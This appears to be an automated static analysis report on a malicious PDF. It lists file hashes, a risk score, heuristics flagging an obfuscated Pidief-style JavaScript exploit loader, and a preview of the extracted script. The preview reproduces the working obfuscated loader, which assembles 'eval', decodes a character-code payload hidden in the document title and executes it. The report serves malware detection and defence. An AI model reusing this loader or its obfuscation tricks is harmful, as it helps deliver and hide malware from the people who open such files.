Malicious PDF — malware analysis report

Static analysis result for SHA-256 28637116d8b25b96…

MALICIOUS

PDF

44.9 KB First seen: 2013-07-31
MD5: 76898ad485ebc1d2fdaf31b6a4d6caab SHA-1: 4ca07f9c9749cedbfec1765c0f042b5f84dd209a SHA-256: 28637116d8b25b96b4468677e2fcca768a3732d9300627585c2f67741027f446
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB038 607 bytes
SHA-256: f56dedb569d991709fff3c40675d8edcef6b80987fd6b7a94b6ced6e1313286a
Preview script
First 1,000 lines of the extracted script
fhze='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w","v",'r'];
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
sbb=e('ti'+'tle');
s=sbb.substr(t.length + 8,3)+'str';
q=sbb[s](1,(1,9));
jde=e('S'+'tring.fro'+q);
q=sbb[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	obca = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	fhze += jde(obca);
}
e(fhze);

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